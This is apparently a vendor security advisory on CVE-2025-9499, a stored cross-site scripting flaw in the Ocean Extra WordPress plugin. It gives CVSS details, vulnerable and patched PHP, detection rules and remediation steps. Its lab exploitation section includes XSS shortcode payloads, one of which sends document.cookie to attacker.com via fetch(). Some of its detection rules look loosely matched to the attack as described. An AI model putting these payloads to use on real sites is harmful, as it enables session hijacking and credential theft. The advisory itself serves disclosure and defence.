CVE-2025-9499

Executive Summary

CVE-2025-9499 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ocean Extra plugin for WordPress, affecting all versions up to and including 2.4.9. The flaw resides in the oceanwp_library shortcode, where user-supplied attributes are insufficiently sanitized and escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used with the OceanWP theme, making this a significant supply chain risk for WordPress sites.

Supply Chain & Package Security

This vulnerability affects the Ocean Extra WordPress plugin, which is distributed via the official WordPress plugin repository. As a WordPress plugin, it is not an NPM, PyPI, Go, or Ruby package, but it represents a supply chain risk for any site using the OceanWP theme. Users must ensure they update the plugin from the WordPress dashboard or via wp-cli to a patched version once available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None (script executes automatically on page load)
• Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity is due to the requirement for authenticated access, but the potential for privilege escalation and site-wide compromise elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the oceanwp_library shortcode, which is part of the Ocean Extra plugin. This shortcode is used to embed library templates (custom post types) into posts or pages. The shortcode accepts attributes such as id or name to specify which library item to display.

The flaw occurs because the plugin does not properly sanitize or escape these user-supplied attributes before outputting them in the HTML. An attacker with contributor-level access can create a post or page and insert the shortcode with malicious attributes. For example:

[oceanwp_library id="<script>alert('XSS')</script>"]

When the shortcode is processed, the id attribute is echoed directly into the page without proper escaping, causing the script to execute in the browser of any visitor.

The attack flow:

1. Attacker logs in with contributor-level privileges.
2. Attacker creates a new post or page.
3. Attacker inserts the malicious shortcode with XSS payload in an attribute.
4. The post is saved and published (or left as draft for internal testing).
5. Any user (including admins) viewing the page triggers the XSS.

Vulnerable vs. Patched Code

The vulnerable code is in the shortcode handler function. A simplified example:

Vulnerable (<= 2.4.9):

function oceanwp_library_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'id' => '',
        'name' => '',
    ), $atts );
    // Directly outputting the id attribute without escaping
    $output = '<div class="oceanwp-library" data-id="' . $atts['id'] . '">';
    // ... rest of the code
    return $output;
}

Patched (hypothetical):

function oceanwp_library_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'id' => '',
        'name' => '',
    ), $atts );
    // Properly escape the id attribute
    $output = '<div class="oceanwp-library" data-id="' . esc_attr( $atts['id'] ) . '">';
    // ... rest of the code
    return $output;
}

The fix uses esc_attr() to escape the attribute value, preventing script injection.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability in a lab environment:

1. Setup: Install WordPress with the OceanWP theme and Ocean Extra plugin version 2.4.9.
2. Create a contributor account: Log in as a contributor.
3. Craft payload: Use a shortcode like:

   [oceanwp_library id="\" onmouseover=\"alert(1)\""]
   

   Or a more direct payload:

   [oceanwp_library id="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Insert into post: Create a new post, switch to Text mode, and paste the shortcode.
5. Publish: Publish the post.
6. Trigger: Visit the post as any user to execute the XSS.

Note: No public exploit code is available at this time.

Blue Team

To detect exploitation attempts:

1. Monitor shortcode usage: Look for posts/pages containing oceanwp_library shortcode with suspicious attributes (e.g., <script>, onerror, onmouseover).
2. Review contributor activity: Check for unusual post creation by low-privileged users.
3. Web Application Firewall (WAF): Deploy rules to block XSS payloads in shortcode attributes.
4. Log analysis: Search for requests to pages containing the shortcode with encoded or suspicious parameters.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ocean-extra/includes/shortcodes/library.php (vulnerable file)
• Shortcode pattern: [oceanwp_library id="..."] where id contains JavaScript event handlers or script tags.
• HTTP request: POST to /wp-admin/post.php with post_content containing oceanwp_library and XSS payload.
• Network: Outbound connections to attacker-controlled domains from the WordPress server (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2025_9499_Ocean_Extra_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Ocean Extra plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9499"
    strings:
        $shortcode = /\[oceanwp_library\s+[^\]]*?(?:<script|on\w+\s*=|javascript:)/i
        $vuln_file = "ocean-extra/includes/shortcodes/library.php"
    condition:
        $shortcode or $vuln_file
}

Sigma Rule

title: CVE-2025-9499 Ocean Extra Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS via oceanwp_library shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "oceanwp_library"
        http.url|re: "id=.*(<script|on\w+=|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9499 Ocean Extra Stored XSS Attempt"; flow:to_server,established; content:"oceanwp_library"; http_uri; pcre:"/id=.*(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Ocean Extra plugin if not essential.
2. Update: Apply the patch once available (check WordPress plugin repository for version > 2.4.9).
3. Workaround: Use a security plugin (e.g., Wordfence) to block XSS payloads in shortcode attributes.
4. User training: Restrict contributor-level access to trusted users only.
5. Monitor: Review posts/pages for suspicious shortcode usage.
6. WAF: Deploy virtual patching rules to block known XSS patterns.

Valters IT
Securing Digital Frontiers